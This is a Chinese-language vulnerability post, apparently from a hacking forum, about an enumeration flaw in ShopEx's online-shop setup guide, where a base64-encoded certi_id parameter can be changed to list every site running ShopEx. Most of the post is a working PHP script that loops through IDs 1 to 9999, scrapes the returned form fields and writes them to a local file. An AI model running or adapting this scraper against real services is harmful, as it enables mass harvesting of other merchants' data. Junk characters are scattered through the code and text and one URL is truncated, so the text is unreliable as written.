ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
" }: F7 s/ s, ^1 X: g6 T$ Y, |1 a详细说明：
问题出现在shopex 网店使用向导页面


8 A' f& D% k' A- |/ l+ k6 V% e0 }
! K8 v. N1 f3 V! ]. ahttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=



$ B2 W3 ~9 R* `4 ~refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

4 g1 A& |  ?( \6 m! h' R  n
, n9 V+ t1 H* Y4 `- I& ^
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站

2 d1 q$ e* u9 z

) v2 H+ b( `* ~* @: }! R# s! Y<?php

                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);
& m! B* {) I( ?0 W' m
) w, ~" l3 F4 ^                }
$ j$ U) P) B: g4 U; e# o' S8 S
                function ShowshopExD($cid) {

                $url='http://guide.ecos.shopex.cn/step2.php';

( \8 c" A; z8 X6 k& F4 b/ |                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
8 {5 Z. D6 M7 x! d  Y2 p
        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
0 `. {5 F# ?& y8 d
        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
! {& h, g# T# ]3 s( E: P, F
        if(strpos($result,$refer))
; m7 R" i. \, `) Z
        {

% M) L4 H( X' U! ^- N( g: L  d, G                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
6 s. Y2 p( s9 E* f
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
; M' @" j' ~3 A8 |' A( B
2 \( L  C$ d6 t                foreach ($value[1] as $key) {

1 p/ C7 p+ Z! Q' o# Z                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
* U) A+ ^4 g, _* J1 Q4 A
! M. |, N0 x3 Q( ~# p% M/ `                        echo $res[1][0].':'.$res[3][0]."\r\n";

& U, M+ D8 C1 N                        $col =$res[1][0].':'.$res[3][0]."\r\n";
) B. P2 l1 M+ R  R( j- b; @- T8 }
                        fwrite($fp, $col, strlen($col));

7 c' c5 Z7 h8 H; h4 K  S# D% v& E                }
$ Y2 f$ N" R8 u
; I' H- C/ G& u% q                echo '--------------------------------'."\r\n";
1 s8 |0 E1 }4 P1 a2 g8 y
- p" Q3 A- r' B- P3 Y( S                fclose($fp);
% t! c% j4 ^, Q" P9 O
: I% o0 {* p; @; `        }

        flush();

        curl_close($ch);
( J) W, s$ N( A
                }
" A! c$ z9 `0 n: I/ P( v
?>
漏洞证明：
) Z* L- }3 Q& ^  D& @5 o& [http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式